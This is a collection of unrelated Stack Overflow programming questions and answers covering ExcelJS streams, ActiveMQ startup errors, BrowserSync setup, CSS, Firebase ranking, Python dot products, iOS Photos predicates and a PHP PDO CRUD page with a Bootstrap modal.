37426620	0	Error: Not implemented Trying to create a stream with ExcelJS <p>Using Node v 5.4.1</p> <p>I'm trying to create a stream like so:</p> <pre><code>const program = require('commander'), Excel = require('exceljs'), colors = require('colors/safe'), inquirer = require('inquirer'), async = require('async'), stream = require('stream'); program .version('0.0.1') .usage('[options] &lt;file&gt;') .parse(process.argv); if (program.args.length &gt; 0 &amp;&amp; program.args[0]) { var workbook = new Excel.Workbook(); var rs = new stream.Readable(); rs.pipe(workbook.xlsx.createInputStream()); &lt; -- Error } else { console.log("You did not enter a valid file path"); } </code></pre> <p>But I get the error <code>Error: Not Implemented</code> </p> <p>which I believe is because I have not implemented the <code>._read</code> but I thought maybe <code>workbook.xlsx.createInputStream()</code> would do this.</p> <p>Am I using the stream package wrong? Any information would be great thanks</p>
31310149	0	Activemq not start in linux mint17 <p>Please see the following console output after executing activemq console command: </p> <p>/opt/apache-activemq-5.5.1/bin $ sudo activemq console sudo: /var/lib/sudo/vivek writable by non-owner (040777), should be mode 0700 [sudo] password for vivek: INFO: Loading '/usr/share/activemq/activemq-options' INFO: Using java '/usr/bin/java' INFO: Starting in foreground, this is just for debugging purposes (stop process by pressing CTRL+C) INFO: changing to user 'activemq' to invoke java mkdir: missing operand Try 'mkdir --help' for more information. Java Runtime: Oracle Corporation 1.8.0_45 /usr/lib/jvm/java-8-oracle/jre Heap sizes: current=502784k free=492256k max=502784k JVM args: -Xms512M -Xmx512M -Dorg.apache.activemq.UseDedicatedTaskRunner=true -Dcom.sun.management.jmxremote -Djava.io.tmpdir=/var/lib/activemq/tmp -Dactivemq.classpath=/var/lib/activemq/conf; -Dactivemq.home=/usr/share/activemq -Dactivemq.base=/var/lib/activemq/ -Dactivemq.conf=/var/lib/activemq/conf -Dactivemq.data=/var/lib/activemq/data ACTIVEMQ_HOME: /usr/share/activemq ACTIVEMQ_BASE: /var/lib/activemq ACTIVEMQ_CONF: /var/lib/activemq/conf ACTIVEMQ_DATA: /var/lib/activemq/data Loading message broker from: xbean:activemq.xml log4j:WARN No appenders could be found for logger (org.apache.activemq.xbean.XBeanBrokerFactory). log4j:WARN Please initialize the log4j system properly. log4j:WARN See <a href="http://logging.apache.org/log4j/1.2/faq.html#noconfig" rel="nofollow">http://logging.apache.org/log4j/1.2/faq.html#noconfig</a> for more info. ERROR: java.lang.RuntimeException: Failed to execute start task. Reason: org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from class path resource [activemq.xml]; nested exception is java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist java.lang.RuntimeException: Failed to execute start task. Reason: org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from class path resource [activemq.xml]; nested exception is java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist at org.apache.activemq.console.command.StartCommand.runTask(StartCommand.java:98) at org.apache.activemq.console.command.AbstractCommand.execute(AbstractCommand.java:57) at org.apache.activemq.console.command.ShellCommand.runTask(ShellCommand.java:148) at org.apache.activemq.console.command.AbstractCommand.execute(AbstractCommand.java:57) at org.apache.activemq.console.command.ShellCommand.main(ShellCommand.java:90) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at org.apache.activemq.console.Main.runTaskClass(Main.java:257) at org.apache.activemq.console.Main.main(Main.java:111) Caused by: org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from class path resource [activemq.xml]; nested exception is java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:341) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:302) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:111) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) at org.springframework.context.support.AbstractRefreshableApplicationContext.refreshBeanFactory(AbstractRefreshableApplicationContext.java:130) at org.springframework.context.support.AbstractApplicationContext.obtainFreshBeanFactory(AbstractApplicationContext.java:467) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:397) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:64) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:52) at org.apache.activemq.xbean.XBeanBrokerFactory$1.(XBeanBrokerFactory.java:108) at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:108) at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:72) at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) at org.apache.activemq.console.command.StartCommand.startBroker(StartCommand.java:115) at org.apache.activemq.console.command.StartCommand.runTask(StartCommand.java:74) ... 10 more Caused by: java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist at org.springframework.core.io.ClassPathResource.getInputStream(ClassPathResource.java:158) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:328) ... 25 more ERROR: java.lang.Exception: org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from class path resource [activemq.xml]; nested exception is java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist java.lang.Exception: org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from class path resource [activemq.xml]; nested exception is java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist at org.apache.activemq.console.command.StartCommand.runTask(StartCommand.java:99) at org.apache.activemq.console.command.AbstractCommand.execute(AbstractCommand.java:57) at org.apache.activemq.console.command.ShellCommand.runTask(ShellCommand.java:148) at org.apache.activemq.console.command.AbstractCommand.execute(AbstractCommand.java:57) at org.apache.activemq.console.command.ShellCommand.main(ShellCommand.java:90) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at org.apache.activemq.console.Main.runTaskClass(Main.java:257) at org.apache.activemq.console.Main.main(Main.java:111) Caused by: org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from class path resource [activemq.xml]; nested exception is java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:341) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:302) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:111) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) at org.springframework.context.support.AbstractRefreshableApplicationContext.refreshBeanFactory(AbstractRefreshableApplicationContext.java:130) at org.springframework.context.support.AbstractApplicationContext.obtainFreshBeanFactory(AbstractApplicationContext.java:467) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:397) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:64) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:52) at org.apache.activemq.xbean.XBeanBrokerFactory$1.(XBeanBrokerFactory.java:108) at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:108) at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:72) at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) at org.apache.activemq.console.command.StartCommand.startBroker(StartCommand.java:115) at org.apache.activemq.console.command.StartCommand.runTask(StartCommand.java:74) ... 10 more Caused by: java.io.FileNotFoundException: class path resource [activemq.xml] cannot be opened because it does not exist at org.springframework.core.io.ClassPathResource.getInputStream(ClassPathResource.java:158) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:328) ... 25 more</p>
33047711	0	 <p>Yes, Browser-Sync has <a href="http://www.browsersync.io/docs/api/#api-init" rel="nofollow">snippet-mode</a> for the case in which a proxy won't work. The general usage is to just cut and paste a snippet into the body of your pages and you'll get the injecting/reloading support. However this is a lot of perpetual manual work.</p> <p>I came up with a convention to eliminate the manual work.</p> <p><strong>First</strong> add to your <code>Web.config</code>:</p> <pre><code> &lt;configuration&gt; &lt;appSettings&gt; &lt;add key="IncludeBrowserSync" value="true" /&gt; &lt;!--...--&gt; &lt;/appSettings&gt; &lt;!--...--&gt; &lt;/configuration&gt; </code></pre> <p><strong>Then</strong> add to your Web.Release.config:</p> <pre><code>&lt;appSettings&gt; &lt;add key="IncludeBrowserSync" value="false" xdt:Transform="SetAttributes" xdt:Locator="Match(key)" /&gt; &lt;/appSettings&gt; </code></pre> <p><em>This allows us to not worry about accidentally deploying the snippet.</em></p> <p><strong>Create</strong> in the <code>Shared</code> Views folder a <code>BrowserSync.cshtml</code>:</p> <pre><code>@using System.Configuration @if (ConfigurationManager.AppSettings["IncludeBrowserSync"]?.ToLower().Contains("t") ?? false) { &lt;!-- BrowserSync:SNIPPET--&gt; &lt;script type='text/javascript' id="__bs_script__"&gt; //&lt;![CDATA[ document.write("&lt;script async src='http://HOST:PORT/browser-sync/browser-sync-client.js'&gt;&lt;\/script&gt;".replace("HOST", location.hostname).replace("PORT", parseInt(location.port) + 1)); //]]&gt; &lt;/script&gt; &lt;!-- BS:BrowserSyncs:END--&gt; } </code></pre> <p><em>As you can see for the snippet, its going to be a little different from what browser sync tells you to cut and paste. The main difference is that it's not going to include the version number (so <code>npm</code> can update browser-sync without breaking your snippet) and it's using a convention for the port number to be one above what IISExpress is serving.</em></p> <p><strong>Now</strong> add <code>@Html.Partial("BrowserSync")</code> right above the <code>&lt;/body</code> in any <code>_layout.html</code> you have.</p> <p><strong>Finally</strong> to make this all work in your <code>gulpfile.js</code> with a <code>serve</code> task for browse-sync.</p> <pre><code>var gulp = require('gulp'); var browserSync = require('browser-sync').create(); ... var dllName = "&lt;YourProjectName&gt;.dll"; var iisPort = &lt;YourPortNumber&gt;; gulp.task('serve', ['default'], function () { browserSync.init({ port: iisPort + 1; }); gulp.watch("&lt;your wildchar to find your editable css files&gt;", ['compile-minimize-css']); /*...*/ gulp.watch("Views/**/*.cshtml").on('change', browserSync.reload); gulp.watch("bin/"+dllName).on('change', browserSync.reload); }); </code></pre> <p><em>Enjoy automatic refreshes after you start <code>serve</code> in the task runner!</em></p>
33861636	0	 <p>Try using <code>li:before</code> with a content of <code>&gt;</code> to make these bullet points, like so:</p> <pre><code>li:before { align-items: center; background-color: #fcbe35; border-radius: 50%; color: white; content: '&gt;'; display: inline-flex; font-weight: bold; height: 24px; justify-content: center; margin-right: 10px; width: 24px; } </code></pre> <p>Here's a <a href="https://jsfiddle.net/9mj638qy/" rel="nofollow">JsFiddle</a>.</p>
1610790	0	External HTML page, inside AJAX Iframe? <p>Hi Masters Of Web Development. I have a not that simple question this time. I have got a simple external HTML page, that I want to include in my site. The HTML page contains a submit form or something like that, and I wish to send this data from the form, without to reload the whole page. So I decided to put HTML page inside iframe. But, some people said that this is older technology, google doesn't like iframes, etc. So I want to use something like AJAX or JQuery to load that external HTML page, and to send submit form without reloading the whole page with it. :)</p> <p>Any suggestions on how to make this? Thanks in advance :)</p>
2104678	0	 <p>You can apply to have your IP address and account whitelisted which will increase your rate limit to 20,000/hour if you are approved. (<a href="http://apiwiki.twitter.com/Rate-limiting" rel="nofollow noreferrer">http://apiwiki.twitter.com/Rate-limiting</a>)</p>
39105586	0	 <p>If it will always be a div, and you know the element's ID:</p> <pre><code>$("#myElement div[data-custom-property]:first") </code></pre> <p>Otherwise, this will work, too, though it's best to be as specific as possible:</p> <pre><code>$("[data-custom-property]:first") </code></pre>
9607180	0	PHP Conditional -- Only Display if a String Has Any Value? <p>I need to display the results of either one or two strings. Each string contains a comma-separated list of items. I need to concatenate them into a single list.</p> <p>I know how to do the concatenation.</p> <p>The issue I have is that sometimes the second string contains entries, sometimes it does not.</p> <p>If the second string contains data, I want to display the concatenated result (first string and second string). If the second string is empty, I only want to display the first string.</p> <p>Can someone help me figure out how to accomplish this?</p>
21426905	0	 <p>Do this:</p> <pre><code>params[:list].each do |hash| hash['id'] # =&gt; 3 hash['status'] # =&gt; true end </code></pre>
9684565	0	 <p>Your best bet appears to be 'CEESITST', as it appears to exist in z/OS COBOL. I found an example using that as well as the other bit manipulation programs.</p> <p><a href="http://esj.com/articles/2000/09/01/callable-service-manipulating-binary-data-at-the-bit-level.aspx" rel="nofollow">http://esj.com/articles/2000/09/01/callable-service-manipulating-binary-data-at-the-bit-level.aspx</a></p>
11330347	1	Python XML comparison <p>I have 2 files each with a list of items which all have 3 properties. What is the quickest way to compare these files and list the differences, i.e. the items that are not in both files.</p> <p>For the items to be the same, all 3 properties have to agree. Also the files were in XML.</p>
14885885	0	 <p>Actually it was straight-forward selenium code:</p> <pre><code>click link="Change..." pause 200 click //ul[contains(@id,'fruit-switcher')]//ul[contains(@class,'dropdown-menu')]/li[3]/a click link="Change..." pause 600 click //ul[contains(@id,'fruit-switcher')]//a[contains(text(),'Bananas')] </code></pre>
24646200	0	 <p><code>order by</code> should after <code>where</code> clause</p> <pre><code>"SELECT Products.ProductID, Products.Name, Categories.CatName, " + "Products.Description, Products.Price FROM Products INNER JOIN Categories ON " + "Products.CatID = Categories.CatID " + "WHERE " + column + " LIKE '%" + keyword + "%'"; "ORDER BY Products.Price DESC" </code></pre> <p>And as other comment said, you should consider use <code>SQLParameters</code> to avoid <strong>SQL Injection</strong></p>
37818832	0	 <p>This may be a pretty simple answer but it really depends on how you structure your data.</p> <p>If there are exactly 100 users at all times and you want everyone from position 65 to position 1, thats easy.</p> <p>Likewise if you want what position user XYZ is, that's also easy.</p> <p>There's also ways to load the top 2 users by position (or 35)</p> <pre><code>users: user_id_0 position: 15 user_id_1 position: 32 user_id_2 position: 7 </code></pre> <p>then to a query on the /users/position sort by position and then queryLimitedToFirst(2) will return user_id_2 and user_id_0.</p> <p>Edit:</p> <p>Based on more data, here are a couple more options. Given we have 5 users, each with a score (I noted their 'position' in the list)</p> <pre><code>uid_0: 50 //pos 2 uid_1: 25 //pos 1 uid_2: 73 //pos 4 uid_3: 10 //pos 0 uid_4: 58 //pos 3 </code></pre> <p>If you want to know the position, based on score of uid_2 - I don't know your platform so I will give a generic flow:</p> <p>step 1) query uid_2 to get his score, 73, then</p> <p>step 2) queryOrderedByChild(score).startingAtValue(73), get nodes with scores from 73 to whatever the highest score is</p> <p>step 3) then the result will be in a snapshot, so check snapshot.childrenCount, which will be the position if uid_2, which is 4. This will reduce the number of nodes loaded.</p> <p>The downside is that the farther down the list, the more data would be loaded. If you only have 1000 nodes with just scores in them, that's not a lot of data.</p> <p>The following solution avoids lots of data but requires more work by the app.</p> <p>Of course, if your platform support array's this is a super simple task. Using the same structure above, load the children into and array and get the index number of the uid you want to know the position of.</p> <p>Swift code</p> <pre><code>let ref = self.myRootRef.childByAppendingPath("scores") ref.queryOrderedByValue().observeEventType(.Value, withBlock: { snapshot in var myArray = [String]() for child in snapshot.children { let key = child.key as String myArray.append(key) } let pos = myArray.indexOf("uid_0") print("postion = \(pos!)") }) </code></pre>
31551380	0	 <p>You can change the <em>room speed</em> in the room settings, this is the number of steps per second. This property can also be accessed and changed mid-game with the <code>room_speed</code> global.</p> <p>You can also access the actual screen update speed with the <code>fps</code> read-only global. <strong>Note:</strong> screen fps is totally independent from the <em>draw event</em>, which happens at the end of each step.</p>
35244370	0	 <p>If <code>bitarray</code> can't be installed, the 1d solution in <a href="http://stackoverflow.com/questions/35208160/dot-product-in-python-without-numpy">Dot Product in Python without NumPy</a> can be used with the same nested comprehension (<a href="http://stackoverflow.com/a/35241087/901925">http://stackoverflow.com/a/35241087/901925</a>). This does not take advantage of the 0/1 nature of the data. So basically it's an exercise in nested iterations.</p> <pre><code>def dot1d(a,b): return sum(x*y for x,y in zip(a,b)) def dot_2cmp(a): return [[dot1d(r,c) for c in a] for r in a] </code></pre> <p><code>itertools.product</code> can be used to iterate over the row and column combinations, but the result is a 1d list, which then needs to be grouped (but this step is fast):</p> <pre><code>def dot2d(a): aa=[dot1d(x,y) for x,y in itertools.product(a,a)] return [aa[i::len(a)] for i in range(len(a))] </code></pre> <p>testing:</p> <pre><code>a=[[1,0,1,0],[0,1,0,1],[0,0,1,1],[1,1,0,0]] In [246]: dot2d(a) Out[246]: [[2, 0, 1, 1], [0, 2, 1, 1], [1, 1, 2, 0], [1, 1, 0, 2]] In [247]: dot_2cmp(a) Out[247]: [[2, 0, 1, 1], [0, 2, 1, 1], [1, 1, 2, 0], [1, 1, 0, 2]] In [248]: np.dot(np.array(a),np.array(a).T).tolist() Out[248]: [[2, 0, 1, 1], [0, 2, 1, 1], [1, 1, 2, 0], [1, 1, 0, 2]] </code></pre> <p>In timings on a larger list, the 2 list operations take the same time. The array version, even with the in/out array conversion is considerably faster.</p> <pre><code>In [254]: b=np.random.randint(0,2,(100,100)).tolist() In [255]: timeit np.dot(np.array(b),np.array(b).T).tolist() 100 loops, best of 3: 5.46 ms per loop In [256]: timeit dot2d(b) 10 loops, best of 3: 177 ms per loop In [257]: timeit dot_2cmp(b) 10 loops, best of 3: 177 ms per loop </code></pre> <p>The result is symmetric, so it might be worth the effort to skip the duplicate calculations. Mapping them back on to the nested list will be more work than in <code>numpy</code>.</p> <pre><code>In [265]: timeit [[dot1d(r,c) for c in b[i:]] for i,r in enumerate(b)] 10 loops, best of 3: 90.1 ms per loop </code></pre> <p>For what it's worth I don't consider any of these solutions 'more Pythonic' than the others. As long as it is written in clear, running, Python it is Pythonic. </p>
3966342	0	 <p>No, I don't believe there is. In a standard Subversion workflow, it's quite rare to need to type the full URL -- most operations are on an already-checked-out working copy -- and in any case, if you're working with branches and tags, the URL would change between invocations.</p> <p>That's not to say that the idea isn't any use, just that it's not useful enough for the developers to have added it.</p> <p>If, like me, you have difficulty remembering what the URL was for a working copy you want to work with, <code>svn info</code> will give it to you.</p>
35004146	0	Referencing a variable in the main function - Java <p>I have written a simple summation function where I add up values of an array. I need to reference the values of the array (which is within the main class) in my function. My code looks like this:</p> <pre><code>public class myClass { public static void main(String[] args) throws Exception { int[] myArray = {0,1,2,3,4}; //Some random operations } public static int sum(int low,int up) { int sum; for (int k=low; k&lt;=up; k++) { sum +=myArray[k]; } return sum; } } </code></pre> <p>However I get the error "myArray cannot be resolved to a type". Why is this error occurring? How may I fix it? Thanks in advance.</p>
4027476	0	Do disabled Drupal modules affect performance? <p>Does having Drupal modules installed but not enabled have any effect on the performance of a Drupal site?</p> <p>To put it another way.. Would removing disabled modules from a Drupal site have a positive affect on performance?</p>
3486957	0	 <p>Can I just add a lesson I learned about 27 years ago: don't try to make your version control numbers align with your product release numbers. That way madness lies.</p>
17110830	0	 <p>Not sure it should work actually: Just do some minute checks:</p> <p>1.exclude should be part of class Meta</p> <p>2.make that exclude from tuple to list , (not sure if it helps)</p> <p>3.or instead of exclude try giving fields = (#some fields names, )</p> <p>Hope this works .. </p>
7005135	0	 <p>Try to put it with explode into an array and count the values with array_count_values. </p> <pre><code>&lt;?php $text = "whatever"; $text_array = explode( ' ', $text); $double_words = array(); for($c = 1; $c &lt; count($text_array); $c++) { $double_words[] = $text_array[$c -1] . ' ' . $text_array[$c]; } $result = array_count_values($double_words); ?&gt; </code></pre> <p>I updated it now to two word version. Does this work for you?</p> <pre><code>array(9) { ["I am"]=&gt; int(1) ["am purchasing"]=&gt; int(1) ["purchasing a"]=&gt; int(2) ["a wallet"]=&gt; int(2) ["wallet a"]=&gt; int(1) ["wallet for"]=&gt; int(1) ["for 20$"]=&gt; int(1) ["20$ purchasing"]=&gt; int(1) ["a bag"]=&gt; int(1) } </code></pre>
2708608	0	 <p>You might be able to use <a href="http://msdn.microsoft.com/en-us/library/ms749011.aspx" rel="nofollow noreferrer">Attached Dependency Properties</a> of type AugmentedThickness and then, when they change, update the underlying properties they are intended to update. This requires all access to be performed using your Attached Properties, as simply setting the Thickness property will not use your AugmentedThickness. If necessary, you could also (though it might be a bit evil) listen for explicit changes to Thickness properties (that you didn't initiate) and force it back to the value specified by your AugmentedThickness.</p>
1048888	0	How to update a BindingSource based on a modified DataContext <p>In my application, I extract the Data of a Linq To SQL DataContext into a dictionary for easy use like so:</p> <pre><code>Jobs = dbc.Jobs.ToDictionary(j =&gt; j.Id, j =&gt; j); </code></pre> <p>Then I bind this dictionary to a BindingSource:</p> <pre><code>bsJob.DataSource = jobManager.Jobs.Values.ToList(); </code></pre> <p>I refresh the DataContext and the Dictionary regularly for when new Jobs are added to the database (whether directly through the local application or the application running on a different machine):</p> <pre><code>dbc.Refresh(RefreshMode.OverwriteCurrentValues, dbc.Job); Jobs = dbc.Job.ToDictionary(j =&gt; j.Id, j =&gt; j); </code></pre> <p>How can I update the BindingSource to accommodate the changes as well?</p>
31528441	0	How to to filter by media subtype using NSPredicate with PHFetchOptions <p>How do I filter by media subtype using <code>NSPredicate</code> with <code>PHFetchOptions</code>? I'm trying to exclude slow mo (high frame rate) and time lapse videos. I keep getting strange results when I try to use the <code>predicate</code> field of <code>PHFetchOptions</code>. </p> <p>My phone has a bunch (120+) regular videos, and one slow mo video. When I run the example from <a href="https://developer.apple.com/library/prerelease/ios/documentation/Photos/Reference/PHFetchOptions_Class/index.html#//apple_ref/occ/instp/PHFetchOptions/predicate">Apple's docs</a>, I get the correct result back: 1 slow mo video. </p> <pre><code>PHFetchOptions *options = [PHFetchOptions new]; options.predicate = [NSPredicate predicateWithFormat:@"(mediaSubtype &amp; %d) != 0 || (mediaSubtype &amp; %d) != 0", PHAssetMediaSubtypeVideoTimelapse, PHAssetMediaSubtypeVideoHighFrameRate]; </code></pre> <p>But I'm trying to <em>exclude</em> slow mo, rather than select it. However if I negate the filter condition, I get zero results back: </p> <pre><code>options.predicate = [NSPredicate predicateWithFormat:@"(mediaSubtype &amp; %d) == 0", PHAssetMediaSubtypeVideoHighFrameRate]; &lt;PHFetchResult: 0x1702a6660&gt; count=0 </code></pre> <p>Confusingly, the Apple docs list the name of the field as <a href="https://developer.apple.com/library/prerelease/ios/documentation/Photos/Reference/PHAsset_Class/index.html#//apple_ref/occ/instp/PHAsset/mediaSubtypes"><code>mediaSubtypes</code></a> (with an "s"), while their sample predicate is filtering on <code>mediaSubtype</code> (without an "s"). </p> <p>Trying to filter on <code>mediaSubtypes</code> produces an error:</p> <pre><code>*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: 'Can't do bit operators on non-numbers' </code></pre> <p>Has anyone been able to make heads or tails of this predicate? </p>
24566261	0	jstree: how to get the id of undetermined state of node <p>I use the jstree('get_selected',false) to get the selected node of my jstree with checkbox plugins, but the result doesn't include the node with undetermined state . How can I get all of the selected node include undetermined ones.</p> <p>the newest version of jstree does not include the method 'get_checked', why?</p> <p>thanks.</p>
34670951	0	php bootstrap error with modal <p>I have the below scripts running but once I add a remote file link for the modal, it will not update. </p> <ol> <li>I want to edit from a modal</li> <li>within that modal window, confirm the data was submitted successfully</li> <li>on close, refresh the crud. </li> </ol> <p>Any help will be appreciated.</p> <p>I'm modifying the class.crud.php file to include this line</p> <p>removing</p> <pre><code>&lt;a href="edit-data.php?edit_id=&lt;?php print($row['id']); ?&gt;"&gt;&lt;i class="glyphicon glyphicon-edit"&gt;&lt;/i&gt;&lt;/a&gt; </code></pre> <p>replacing with</p> <pre><code>&lt;a data-toggle="modal" class="btn btn-info" href="edit-data.php?edit_id=&lt;?php print($row['id']); ?&gt;" data-target="#myModal"&gt;&lt;i class="glyphicon glyphicon-edit"&gt;&lt;/i&gt;&lt;/a&gt; </code></pre> <p>INDEX.PHP</p> <pre><code>&lt;?php include_once 'dbconfig.php'; ?&gt; &lt;?php include_once 'header.php'; ?&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;div class="container"&gt; &lt;table class='table table-bordered table-responsive'&gt; &lt;tr&gt; &lt;th&gt;#&lt;/th&gt; &lt;th&gt;First Name&lt;/th&gt; &lt;th&gt;Last Name&lt;/th&gt; &lt;th&gt;E - mail ID&lt;/th&gt; &lt;th&gt;Contact No&lt;/th&gt; &lt;th colspan="2" align="center"&gt;Actions&lt;/th&gt; &lt;/tr&gt; &lt;?php $query = "SELECT * FROM tblUsers"; $records_per_page=10; $newquery = $crud-&gt;paging($query,$records_per_page); $crud-&gt;dataview($newquery); ?&gt; &lt;tr&gt; &lt;td colspan="7" align="center"&gt; &lt;div class="pagination-wrap"&gt; &lt;?php $crud-&gt;paginglink($query,$records_per_page); ?&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; &lt;!-- Modal --&gt; &lt;div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;/div&gt; &lt;!-- /.modal-content --&gt; &lt;/div&gt; &lt;!-- /.modal-dialog --&gt; &lt;/div&gt; &lt;!-- /.modal --&gt; &lt;?php include_once 'footer.php'; ?&gt; </code></pre> <p>CLASS.CRUD.PHP</p> <pre><code> public function update($id,$fname,$lname,$email,$level_id) { try { $stmt=$this-&gt;db-&gt;prepare("UPDATE tblUsers SET firstname=:fname, lastname=:lname, email=:email, level_id=:contact WHERE id=:id "); $stmt-&gt;bindparam(":fname",$fname); $stmt-&gt;bindparam(":lname",$lname); $stmt-&gt;bindparam(":email",$email); $stmt-&gt;bindparam(":contact",$level_id); $stmt-&gt;bindparam(":id",$id); $stmt-&gt;execute(); return true; } catch(PDOException $e) { echo $e-&gt;getMessage(); return false; } } public function delete($id) { $stmt = $this-&gt;db-&gt;prepare("DELETE FROM tblUsers WHERE id=:id"); $stmt-&gt;bindparam(":id",$id); $stmt-&gt;execute(); return true; } /* paging */ public function dataview($query) { $stmt = $this-&gt;db-&gt;prepare($query); $stmt-&gt;execute(); if($stmt-&gt;rowCount()&gt;0) { while($row=$stmt-&gt;fetch(PDO::FETCH_ASSOC)) { ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php print($row['id']); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php print($row['firstname']); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php print($row['lastname']); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php print($row['email']); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php print($row['level_id']); ?&gt;&lt;/td&gt; &lt;td align="center"&gt; &lt;a href="edit-data.php?edit_id=&lt;?php print($row['id']); ?&gt;"&gt;&lt;i class="glyphicon glyphicon-edit"&gt;&lt;/i&gt;&lt;/a&gt; &lt;/td&gt; &lt;td align="center"&gt; &lt;a href="delete.php?delete_id=&lt;?php print($row['id']); ?&gt;"&gt;&lt;i class="glyphicon glyphicon-remove-circle"&gt;&lt;/i&gt;&lt;/a&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php } } else { ?&gt; &lt;tr&gt; &lt;td&gt;Nothing here...&lt;/td&gt; &lt;/tr&gt; &lt;?php } } </code></pre> <p>EDIT-DATA.PHP</p> <pre><code>&lt;?php include_once 'dbconfig.php'; if(isset($_POST['btn-update'])) { $id = $_GET['edit_id']; $fname = $_POST['firstname']; $lname = $_POST['lastname']; $email = $_POST['email']; $level_id = $_POST['level_id']; if($crud-&gt;update($id,$fname,$lname,$email,$level_id)) { $msg = "&lt;div class='alert alert-info'&gt; &lt;strong&gt;WOW!&lt;/strong&gt; Record was updated successfully &lt;a href='index.php'&gt;HOME&lt;/a&gt;! &lt;/div&gt;"; } else { $msg = "&lt;div class='alert alert-warning'&gt; &lt;strong&gt;SORRY!&lt;/strong&gt; ERROR while updating record ! &lt;/div&gt;"; } } if(isset($_GET['edit_id'])) { $id = $_GET['edit_id']; extract($crud-&gt;getID($id)); } ?&gt; &lt;?php include_once 'header.php'; ?&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;div class="container"&gt; &lt;?php if(isset($msg)) { echo $msg; } ?&gt; &lt;/div&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;br /&gt; &lt;div class="modal-header" id="myModal"&gt; &lt;form method='post'&gt; &lt;div class="form-group"&gt; &lt;label for="email"&gt;First Name:&lt;/label&gt; &lt;input type='text' name='firstname' class='form-control' value="&lt;?php echo $firstname; ?&gt;" required&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="email"&gt;Last Name:&lt;/label&gt; &lt;input type='text' name='lastname' class='form-control' value="&lt;?php echo $lastname; ?&gt;" required&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="email"&gt;Email:&lt;/label&gt; &lt;input type='text' name='email' class='form-control' value="&lt;?php echo $email; ?&gt;" required&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="email"&gt;Level ID:&lt;/label&gt; &lt;input type='text' name='level_id' class='form-control' value="&lt;?php echo $level_id; ?&gt;" required&gt; &lt;/div&gt; 